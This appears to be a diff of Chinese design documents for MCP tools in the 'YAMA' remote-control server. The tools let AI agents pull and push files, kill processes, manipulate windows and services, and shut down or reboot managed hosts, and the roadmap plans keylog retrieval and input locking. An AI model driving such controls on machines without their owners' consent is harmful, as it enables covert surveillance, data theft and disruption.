- **P2 的 `output.files[].sha256` 恒为空串**:`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256(延后 P3:worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3)。
### 7.6 overwrite 语义
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
### 7.7 安全
- 门槛 `McpFileTransfer=1 && McpReadonly=0`(§8):upload 写远程盘,复用「允许写」主开关。
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7)
`RecvFileChunkV2` 依赖全局 `g_status==1`(`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
修法:在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
```cpp
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
```
要点(独立评审结论,均为安全):
- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**(`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit;`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0,`g_status` 恒为 1。
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程)、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`(`license.cpp:244`)不会越界。
- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2`;`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
---
## 8. 安全门
| 工具 | 定性 | 门槛 |
|---|---|---|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
- **只新增一个开关 `McpFileTransfer`(默认 0)**:download 只看它;upload 额外要求 `McpReadonly=0`。决策依据见 §12。
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
---
## 9. 改动文件清单
| 文件 | 改动 |
|---|---|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`:`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
| (P2)`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
| (P2)`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
| (P2)`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`(`g_status` 由 0 置 1,见 §7.8) |
**客户端**:`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
---
## 10. 分阶段实施与回滚
- **P1**:`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收(真实主机拖回一个目录,SHA-256 与 `certutil -hashfile` 比对一致)。
- **P2**:`upload_file`(§7,主连接复用 + 发送方驱动,`MessageHandle` 零改动)。可独立合入、独立验收(推一个目录到真实主机,SHA-256 与源文件 `certutil -hashfile` 比对一致)。
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false`,`client/FileManager.cpp:1164`)、大文件进度流式上报。
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支,revert 当期 commit 即可,不影响既有 GUI 文件管理器。
---
## 11. 测试点
- 单文件 / 目录(含中文名、深层嵌套)下载;SHA-256 与 `certutil -hashfile` 比对一致。
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
- 路径穿越:`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
- 大文件(>2GB)超时与断线;并发下载同主机返回 `-32003`。
- 编码:GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
- **上传(P2)**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建;SHA-256 与源文件 `certutil -hashfile` 比对一致。
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
- 上传 `remote_dir` 含 `..` 逃逸被拒;大文件(>2GB)超时与断线;并发上传/上传-下载同主机返回 `-32003`。
- 上传编码:GBK 中文文件名往返无乱码。
---
## 12. 决策记录(以「简单易用」为原则)
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
- **威胁模型**:MCP 默认 `127.0.0.1` + token;「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单),外带通道远大于 download,目录白名单对已开终端者是冗余防御。
- **一致性**:`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3,不进 P1。
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
- MCP 是 request/response;为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
- 异步任务模型进 P3,且**只在确有超大流式需求时**才做,不预建。
### 12.3 upload 开关 → **单一 `McpFileTransfer`,upload 复用 `McpReadonly=0`**
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权,readonly 语义本就只拦「改远程」。
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`:upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化(无人有此诉求)。
---
## 13. 专家审查记录(实施前)
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现,结论如下:
| # | 审查发现 | 结论 |
|---|---|---|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`(`FileCompletePacketV2.fileIndex`) | 会话记 `totalFiles`(首 chunk)/`filesDone`(complete 计数),`filesDone==totalFiles` 才算 done |
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167`) |
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」,C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
**判定**:7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
### 13.1 upload_file 评审记录(P2,实施前)
核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`(GUI upload 发送方)、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支,结论:
| # | 审查发现 | 结论 |
|---|---|---|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE,不是「等」 |
| U2 | upload 走**主连接**(`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx;离线返回 false 中止 |
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5) |
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
| U7 | 实施验证发现:客户端主连接 `g_status==0`,`RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化(§7.8):`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
**判定**:7 项均已写入 §7 对应小节,无阻塞项,**定稿**。
+219
View File
@@ -0,0 +1,219 @@
# MCP P7 设计:设备管理控制(kill / window / service / power)
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3/P4/P5/P6 的阶段演进。
> 本文定义 P7:把 YAMA 服务端高频「控制类」操作 MCP 化,补上从「观测」到「管控」的短板,
> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
>
> 安全门结论(已确认):新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具,
> 并要求 `McpReadonly=0`;不再为每个工具单设开关。
## 1. 目标与范围
P7 交付 4 个控制类工具,覆盖服务端日常最常用的写操作:
| 工具 | 动作 | 命令 | 连接 | 确认方式 |
|---|---|---|---|---|
| `kill_process` | 结束进程(多 pid) | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`;test 补发 `COMMAND_WSLIST` |
| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走(无响应) |
仅 Windows 客户端支持(`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`;注意 `list_services`
只排除了 LNX/MAC、漏掉 APK,P7 需把 APK 一并排除)。
## 2. 复用现状
P7 **不改客户端**。客户端已全部实现下列处理(MFC 界面在跑),MCP 侧只需补齐
「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链:
- 系统子连接:`COMMAND_SYSTEM`(进程)/ `COMMAND_WSLIST`(窗口)→ 客户端开 `CSystemManager`
子连接(`client/KernelManager.cpp` 1169/1182,`client/SystemManager.cpp`)。
- `COMMAND_KILLPROCESS`:`CSystemManager::KillProcess`(`TerminateProcess`,无回包)。
- `CMD_WINDOW_CLOSE`:`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
- `CMD_WINDOW_TEST`:`ShowWindow(hwnd, dHow)`(不自动回包)。
- `COMMAND_SERVICECONFIG`:`CServicesManager::ServicesConfig`(`client/ServicesManager.cpp` 213),
bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动,每项后 `Sleep(500)` + `SendServicesList`。
- `TOKEN_MACHINE_MANAGE`:`KernelManager.cpp` 872,`ExitWindowsEx`(注销/关机/重启)。
复用现有 MCP 基建(`server/2015Remote/McpServer.{h,cpp}`):
- `ParseHostIdArg` / `FindMainContext`:入参解析 + 主连接定位。
- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`:单飞行挂起 + 响应回收。
- `OnRegeditReady`:已示范「接管子连接 → 发后续命令」的范式(P3 list_registry 三阶段),P7 直接泛化。
## 3. 子连接生命周期(P7 核心新增)
写工具与只读工具的关键差异:只读工具「子连接回一包即完成」,写工具需要
「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
`followUp`(接管后要发的写命令 payload,二进制)+ `followUpSent`(是否已发写命令)两个字段:
```
followUpSent == false → 等子连接就绪(首包 TOKEN_*LIST 到达 = 就绪)
followUpSent == true → 已发写命令,等确认包
```
> 关键事实(已核实):三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
> 客户端子连接构造即回一包(就绪),写操作后再回一包(确认)。因此必须用 `followUpSent`
> 区分这两次到达,而不能靠 token 区分。这也是它与 `list_registry`(PATH/KEY 两个不同 token)
> 的差别。
流程(以 `kill_process` 为例):
1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行(false = 设备忙),并预填
`followUp`(`COMMAND_KILLPROCESS` 多 pid 包)。
2. 主连接发 `COMMAND_SYSTEM`。
3. 客户端开系统子连接,首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
`OnSystemReady(devId, subCtx)`(类比 `OnRegeditReady`):
- 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
`followUp`,随后补发 `COMMAND_PSLIST` 索取新列表。
4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走(`followUpSent==true`
命中)→ 关闭子连接(`CancelIO`)→ 唤醒工具线程。
5. 工具线程解析新进程列表返回;超时/失败走 `ClearPending`(**含 `subCtx->CancelIO()`**,防孤儿子连接)。
> 注意:`followUp`(写命令)与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
> `Send2Client` 调用**,不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发,
> 拼包会把后续字节当成 pid/hwnd 解析。
接管函数(进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上,
客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`):
| 工具 | 开子连接命令 | 就绪包(首包) | 接管后写命令 | 确认包(第二包) |
|---|---|---|---|---|
| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`(close 自动回);`CMD_WINDOW_TEST`(test 补 `COMMAND_WSLIST`) | `TOKEN_WSLIST` |
| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`(客户端写后自动 `SendServicesList`) | `TOKEN_SERVERLIST` |
`MessageHandle` 现有分派点(均已核实):
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支:`2015RemoteDlg.cpp:6540`(当前 `TakeMainResponse`+`CancelIO`)
- `TOKEN_SERVERLIST` 分支:`2015RemoteDlg.cpp:6585`(同上)
接入方式:在这两个分支的 `IsPending(devId)` 命中后,**先按 `pending.tool` 判断是否为
写工具(kill/operate/control_service)**;是则调 `OnSystemReady`/`OnServiceReady`(返回 true
= 已接管、不 `CancelIO`),否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
分支调用 `OnRegeditReady`(`2015RemoteDlg.cpp:6561`)的写法一致,避免与人工界面抢子连接。
## 4. 工具 schema
### 4.1 `kill_process`
```jsonc
// inputSchema
{ "id": "string(必填,主机 id)",
"pids": ["integer 数组(必填,至少 1 个进程 PID)"] }
// outputSchema
{ "remaining": ["integer 数组(杀完后仍在运行的 PID)"] }
```
- payload:`[COMMAND_KILLPROCESS:1][pid:4]*N`(DWORD 小端,与 `SystemDlg::OnPlistKill` 一致)。
- 成功判定:返回 `remaining`(发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功)。
- 描述需写明:`TerminateProcess` 强制结束、不保存进程状态,可能造成数据丢失。
### 4.2 `operate_window`
```jsonc
// inputSchema
{ "id": "string(必填)",
"hwnd": "integer(必填,窗口句柄,取 list_windows 返回的 hwnd)",
"action": "string(必填)close|show|hide|minimize|maximize|restore" }
// outputSchema
{ "ok": "boolean" }
```
- payload(与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致,
**固定 20 字节零填充 `BYTE lpMsgBuf[20]`,hwnd 一律按 `DWORD`(4 字节)小端写入 offset 1**):
- `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`(客户端 `PostMessage WM_CLOSE`)。
- 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`,dHow 映射(MFC 实测值):
`hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
`maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
- 缓冲器必须补零到 20 字节:客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`,在 x64 是 8 字节,
而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节,读出的 HWND 才是正确值;
若 MCP 发最小 5 字节包,会越界读。`test` 分支(`TestWindow`)读 `[hwnd:4][dHow:4]` 共 9 字节,
20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此,MCP 照搬。
### 4.3 `control_service`
```jsonc
// inputSchema
{ "id": "string(必填)",
"service_name": "string(必填,服务名,取 list_services 返回的 service_name)",
"action": "string(必填)start|stop|set_auto|set_manual" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`,
bCmd:`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
- 边界:客户端 `ServicesManager` 仅实现这 4 项;**无** pause / continue / delete
(它们属于 `MachineDlg` 机器管理的另一条链路,留待 P8 评估)。
### 4.4 `power_action`
```jsonc
// inputSchema
{ "id": "string(必填)",
"action": "string(必填)logout|shutdown|reboot" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`TOKEN_MACHINE_MANAGE [token:1][type:1]`,type:`logout=0` / `shutdown=1` / `reboot=2`
(`enum MachineCommand` 顺序)。MFC 发的是 32 字节缓冲(`2015RemoteDlg::MachineManage`),
但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`,故 2 字节即可。
- 走**主连接**、发完即走、无响应;主机将立即离线。描述需明确「不可撤销、主机下线」。
- 需客户端管理员权限(`EnableShutdownPrivilege`),无权限时客户端静默忽略(同 MFC 现状)。
- **仅 Windows 客户端**:Linux 侧文档写的是 `COMMAND_SESSION`(`linux/README.md`),但代码中
未发现对应 handler,即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
`-32005`,不尝试发送。
## 5. 安全门(单一 `McpManage` 开关)
- 新增配置键 `settings/McpManage`(默认 `0`,关闭)。
- 生效条件:`McpManage=1` 且 `McpReadonly=0`;二者任一不满足即隐藏 4 个工具。
- 双保险:`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验(与 `exec_command` 的
`IsReadonly()` 双保险一致)。
- `McpSettingsDlg` 增加「管理操作(进程/窗口/服务/电源)」复选框,写入 `THIS_CFG`。
- 审计:每次写操作写入服务端审计日志(`get_audit_log` 可见),记录 tool + host id + 参数摘要 + 结果。
## 6. 单飞行与并发约束
- 沿用现有约束:同 host 同一时刻只允许一个 MCP 挂起请求(`BeginPending` 保证)。
- 写工具与只读工具共用 `m_Pending`,天然互斥;与 MFC 对话框并存(各用独立子连接,互不干扰)。
- 超时沿用 `kMcpToolTimeoutMs = 20000`;`power_action` 因无响应、发完即返回成功。
## 7. 边界与风险
1. **杀进程/关机/重启不可逆**:描述与审计都需显著标注;不提供「确认对话框」,
确认责任在调用方(MCP 客户端/LLM agent)。
2. **kill 无客户端回执**:成功与否靠「新进程列表不含目标 pid」推断,`TerminateProcess`
失败(权限不足等)时进程仍在 `remaining`,由调用方判断。
3. **服务操作仅 4 项**:pause/continue/delete 缺省,如需需评估 `MachineDlg` 链路。
4. **窗口句柄时效**:hwnd 可能已失效(窗口已关闭),客户端 `PostMessage/ShowWindow`
对失效句柄静默无操作,`operate_window` 的 `ok=true` 只表示「已下发」。
5. **子连接竞态**:写工具接管子连接后若客户端断线,`OfflineProc` 调 `OnManageSubClosed`
清理挂起(置 done 并清 `subCtx`、唤醒等待线程;**不擦表**,由 `WaitPendingWrite` 自行擦除,
防迭代器失效)。清 `subCtx` 是关键——context 对象被连接池回收复用,若超时路径仍对旧指针
`CancelIO` 会误伤新连接(与 `OnTerminalClosed`/`OnScreenControlClosed` 同理)。
## 8. P8 / P9 路线图(后续)
- **P8 文件与信息面**:`delete_file/delete_directory`、`create_folder`、`rename_file`、
`open_file`;`list_network_connections`、`list_software`、`get/set_hosts`、
`list_scheduled_tasks`(+增删启停)、`get_keylog`。
- **P9 进阶与 NL 增强**:`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
`open_url`/`send_message`;**批量操作**(`ids[]`/`group` 维度);离线主机枚举
`list_all_hosts`。
## 9. 实现与验证记录(2026-10-01)
已实现并端到端验证(真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware,id=3441387693643366974):
- `kill_process` → `remaining:[]`;`operate_window`(restore) → `ok:true`;
`control_service`(set_manual AJRouter) → `ok:true`;`power_action`(reboot) → `ok:true`(发完即走)。
三个写工具的确认包(第二个 `TOKEN_*LIST`)均正常到达,列表均 >1460 字节触发 HTTP 分片。
- 落地:`McpManage` 开关 + `McpReadonly=0` 双保险;`McpSettingsDlg` 增「管理操作」复选框;
主工具栏增 `MCP` 入口按钮(`ID_MCP_SETTINGS`);en/de/zh-TW 三语文案同步。
- 前置解析 bug(验证中暴露,已单独提交 `a72e6eb`):`HeaderParser::Parse` 的
`m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`,导致写工具的确认包被
`PARSER_FAILED` 丢弃(「首包能到、后续包到不了」);修复为 `else if (m_bShouldUnmask != TRUE)`。
+486
View File
@@ -0,0 +1,486 @@
# YAMA MCP 功能开发技术书(Phase 2 及后续)
> **状态**:设计定稿(已按两轮评审修订);P2a、P2b 已实现并经真实主机验证(`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`);P2c 已实现(`get_screenshot` / `list_files`);P2d 已实现并验证(`list_services` / `get_client_log`)。
> **读者**:MCP 后续功能的研发/评审人员。
> **关联文档**:[Mcp_Design.md](./Mcp_Design.md)(Phase 1 的协议、架构、配置与菜单设计)。
> **核心目标**:让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集,**不一次性大改现有功能**。
---
## 1. 背景与目标
Phase 1 已跑通 MCP 最小闭环:`httplib` + JSON-RPC 2.0,单工具 `list_online_hosts`,静态 Bearer token,经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力(进程、窗口、终端、截图、文件等)**逐步**暴露为 MCP 工具,供 Claude Code 等 AI 助手以工具调用方式使用。
本技术书解决三个问题:
1. **做什么**——工具路线图与优先级(只读 → 安全写 → 会话)。
2. **怎么做**——复用现有协议,无头驱动、不弹对话框;**区分「主连接 RPC」与「子链接流式」两种模式**。
3. **怎么稳**——每个阶段独立可交付、可回滚,影响面小、可验收。
---
## 2. 现状回顾(Phase 1 已交付)
| 模块 | 文件 | 职责 |
|------|------|------|
| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`;token 校验;`initialize`/`ping`/`tools/list`/`tools/call` |
| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`,单主机 JSON(与 WebService 共用) |
| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框:enable/port/bind/token |
| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`(启动)、`3900-3906`(停止) | 随主对话框启停 |
| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
关键结论:**MCP 未引入任何新第三方库**——`httplib`(HTTP)与 `jsoncpp`(JSON)均为项目既有依赖。
当前工具实现只有一个 dispatch 分支(`McpServer.cpp` 的 `BuildToolsCall`),新增工具的边际成本很低:**注册 `outputSchema` + 加一个 `tools/call` 分支**。
---
## 3. 设计原则(贯穿所有后续开发)
1. **只读优先,写操作单独评审**:延续 `Mcp_Design.md §1.3`。只读工具直接做;任何「改变被控端状态」的工具(命令执行、杀进程、传文件、控制)必须经安全评审 + 独立授权。
2. **复用现有协议,不新造命令**:一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`(服务端→客户端)与 `TOKEN_*`(客户端→服务端),不新增自定义命令。
3. **无头接管复用 Web 终端模式**:对话框只是 UI 外壳;MCP 复用 `WebService` 的挂起标记/接管模式,把数据接到 MCP 侧,**不弹框**。
4. **每阶段独立可交付、可回滚**:一个阶段 = 一批工具 + 对应验收;出错可单独 revert,不连坐。
5. **超时与清理是硬约束**:MCP 是 request/response,一次 `tools/call` 不能无限阻塞等数据;必须有超时、迟到回收、用完即关。
6. **输出 schema 先行**:每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`,AI 客户端据此决定何时调用、如何解析。
---
## 4. 核心机制:无头驱动(双模式)
> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」,评审后纠正为:这些是**主连接 request/response**;真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同,必须分开建模。
### 4.1 连接模型:主连接 vs 子链接
`common/commands.h` 定义了完整协议,分两层:
- **主连接**:客户端上线后与主控保持的长连接。承载心跳(`TOKEN_HEARTBEAT`)、命令下发,以及**轻量 request/response**——屏幕预览缩略图(`TOKEN_SCREEN_PREVIEW_RSP`)、历史活动(`TOKEN_REPORT_ACTIVITY`)等。响应以 `TOKEN_*` 回到主连接(捕获点见 §4.2)。
